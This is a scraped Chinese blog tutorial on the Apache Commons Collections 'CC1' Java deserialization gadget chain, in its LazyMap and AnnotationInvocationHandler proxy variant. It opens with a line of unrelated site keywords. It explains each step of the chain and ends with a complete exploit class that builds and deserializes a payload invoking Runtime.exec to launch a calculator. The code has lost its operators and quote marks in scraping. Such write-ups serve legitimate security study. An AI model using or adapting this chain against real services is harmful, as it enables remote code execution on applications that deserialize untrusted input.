河南省建设资格注册中心网站,大学生创新创业大赛报名时间,wordpress for sea,sae 安装新版wordpressJava安全 CC链1分析 前言CC链分析CC链1核心LazyMap类AnnotationInvocationHandler类 完整exp#xff1a; 前言
在看这篇文章前#xff0c;可以看下我的上一篇文章#xff0c;了解下cc链1的核心与环境配置
Java安全 CC链1分析
前面我们已经讲过了CC链1的核心ChainedTransf… Java安全 CC链1分析 前言CC链分析CC链1核心LazyMap类AnnotationInvocationHandler类 完整exp 前言
在看这篇文章前可以看下我的上一篇文章了解下cc链1的核心与环境配置
Java安全 CC链1分析
前面我们已经讲过了CC链1的核心ChainedTransformer的transform链并且用到了TransformedMap类中的方法触发了这条链transform的方法但是还有一条链可以触发其transform方法这条链用到了 LazyMap类 这条链用到了大量的反射与代理的知识建议在看本文章前需要提前补充或复习 CC链分析
CC链1核心
首先我们回顾下cc链1的核心
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{public static void main(String[] args) throws Exception{//transformers: 一个transformer链包含各类transformer对象预设转化逻辑的转化数组Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};//transformedChain: ChainedTransformer类对象传入transformers数组可以按照transformers数组的逻辑执行转化操作ChainedTransformer transformerChain new ChainedTransformer(transformers);transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法}
}我们接下来的目标就是想法设法调用以上代码中 transformerChain 对象的 transform 方法从而遍历循环直到命令执行。
LazyMap类
我们首先还是选中 transform 方法右键选择查找用法
这次我们来到了 LazyMap 类当中的 get 方法 LazyMap类中的get方法的代码如下 public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) false) {Object value factory.transform(key); //关键map.put(key, value);return value;}return map.get(key);}经分析得当满足map.containsKey(key) false时便会执行factory对象的transform方法 要想满足该语句我们传入一个map数组中不存在的key键名即可 接下来我们看下 LazyMap 类的构造方法如下
protected LazyMap(Map map, Factory factory) {super(map);if (factory null) {throw new IllegalArgumentException(Factory must not be null);}this.factory FactoryTransformer.getInstance(factory);
}发现 get 方法中的 factory 变量是可控的可以赋值为上文的transformerChain 对象(cc链1核心),但是该构造方法是受保护的类型并不能直接调用创建对象
然后我们往上找到了 decorate 方法代码如下 public static Map decorate(Map map, Transformer factory) {return new LazyMap(map, factory);}发现可以通过调用这个静态方法获得一个 LazyMap 对象并且 map 和 factory 参数可控这样如何获取 LazyMap 对象的问题便得到解决
我们先写一个demo试试这里的get方法是否真的可以触发cc链1
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class main2{public static void main(String[] args) throws Exception{//transformers: 一个transformer链包含各类transformer对象预设转化逻辑的转化数组Transformer[] transformers new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime,null}),new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject,Object hash new HashMap();Map decorate LazyMap.decorate(hash, chainedTransformer);decorate.get(key);}
}可以看到demo成功运行弹出计算器 AnnotationInvocationHandler类
接下来我们寻找如何触发 LazyMap 对象的get方法我们同样右键查看用法可以看到结果有很多为了节约时间我们直接来到AnnotationInvocationHandler类
路径如下 外部库 - jdk1.8_65 - rt.jar - sun - reflect - annotation - AnnotationInvocationHandler类 AnnotationInvocationHandler类在 TransformedMap类所触发的cc链1中用到过这里我们用到其 invoke 方法该方法关键代码如下
public Object invoke(Object proxy, Method method, Object[] args) {String member method.getName();Class?[] paramTypes method.getParameterTypes();if (member.equals(equals) paramTypes.length 1 paramTypes[0] Object.class)return equalsImpl(args[0]);if (paramTypes.length ! 0)throw new AssertionError(Too many parameters for an annotation method);switch(member) {case toString:return toStringImpl();case hashCode:return hashCodeImpl();case annotationType:return type;}// Handle annotation member accessorsObject result memberValues.get(member);经分析我们需要满足前两条 if 语句才会触发 memberValues 对象的get方法否则会提前返回值
第一个if if (member.equals(equals) paramTypes.length 1 paramTypes[0] Object.class)我们调用方法的名字不为 equals即可绕过 第二个if
if (paramTypes.length ! 0)我们无参调用方法即可绕过 接下来我们分析如何将 LazyMap对象赋值给该类的 memberValues变量我们查看构造方法发现该方法是私有的我们无法调用 AnnotationInvocationHandler(Class? extends Annotation type, MapString, Object memberValues) {Class?[] superInterfaces type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length ! 1 ||superInterfaces[0] ! java.lang.annotation.Annotation.class)throw new AnnotationFormatError(Attempt to create proxy for a non-annotation type.);this.type type;this.memberValues memberValues;}然后我们看一下invoke方法所属类的定义如下
class AnnotationInvocationHandler implements InvocationHandler, Serializable {……
}发现这个类接口了 InvocationHandler代表该类可以作为动态代理的代理处理器只要接口了InvocationHandler接口就必须重写 invoke 方法并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。
也就是说我们只需要创建一个 代理对象通过反射让其代理处理器为AnnotationInvocationHandler类然后无参调用代理对象的任意方法即可触发invoke方法 在Java的动态代理机制中在执行代理对象中的方法之前会自动执行其代理处理器中的invoke方法 这样触发 invoke 方法的问题便解决了接下来我们只需创建一个使用AnnotationInvocationHandler类作为处理器的代理对象并无参调用该代理对象中的方法即可创建代理对象代码如下
Map proxyInstance (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);接下来便是要解决——如何无参调用proxyInstance代理对象中的方法 这里实际上只要是找到无参调用对象中方法的地方即可不限制在哪个类但终点要为readObject方法 然后我们就近在这个类中寻找一个无参调用memberValues中方法的方法我们往下找到了readObject方法其所用到的关键代码还是和TransformedMap类所触发的cc链1中一样为下面的for循环 找到readObject方法也就意味着找到了cc链1的起点 for (Map.EntryString, Object memberValue : memberValues.entrySet()) {String name memberValue.getKey();Class? memberType memberTypes.get(name);if (memberType ! null) { // i.e. member still existsObject value memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() [ value ]).setMember(annotationType.members().get(name)));}}}我们发现该语句可实现对memberValues变量中的方法实现无参调用
Object value memberValue.getValue();但是我们发现AnnotationInvocationHandler类是私有的我们可以通过反射获取构造方法进而初始化然后构造函数的memberValue变量值设置为我们的代理对象即可
整理下思路 我们先用AnnotationInvocationHandler类作为代理处理器创建了一个代理对象proxyInstance然后又通过反射创建了一个AnnotationInvocationHandler对象并将成员属性设置为代理对象proxyInstance目的是为了在AnnotationInvocationHandler对象中的readObject方法里面对代理对象proxyInstancememberValues变量实现无参调用从而触发代理处理器AnnotationInvocationHandler类中的invoke方法进而触发get方法最后触发transform方法从而实现cc链1
完整exp
cc链1(Lazymap)完整exp
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class cc11 {public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {//定义一系列Transformer对象,组成一个变换链Transformer[] transformers new Transformer[]{//返回Runtime.classnew ConstantTransformer(Runtime.class),//通过反射调用getRuntime()方法获取Runtime对象new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime,null}),//通过反射调用invoke()方法new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),//通过反射调用exec()方法启动计算器new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc})};//将多个Transformer对象组合成一个链ChainedTransformer chainedTransformer new ChainedTransformer(transformers);HashMapObject,Object hash new HashMap();//使用chainedTransformer装饰HashMap生成新的MapMap decorate LazyMap.decorate(hash, chainedTransformer);//通过反射获取AnnotationInvocationHandler类的构造方法Class c Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor constructor c.getDeclaredConstructor(Class.class, Map.class);//设置构造方法为可访问的constructor.setAccessible(true);//通过反射创建 Override 类的代理对象 instance,并设置其调用会委托给 decorate 对象InvocationHandler instance (InvocationHandler) constructor.newInstance(Override.class, decorate);//创建Map接口的代理对象proxyInstance,并设置其调用处理器为instanceMap proxyInstance (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, instance);//再次通过反射创建代理对象Object o constructor.newInstance(Override.class, proxyInstance);serialize(o);unserialize(1.bin);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out new ObjectOutputStream(Files.newOutputStream(Paths.get(1.bin)));out.writeObject(obj);}public static void unserialize(String filename) throws IOException, ClassNotFoundException {ObjectInputStream out new ObjectInputStream(Files.newInputStream(Paths.get(filename)));out.readObject();}}运行成功弹出计算器
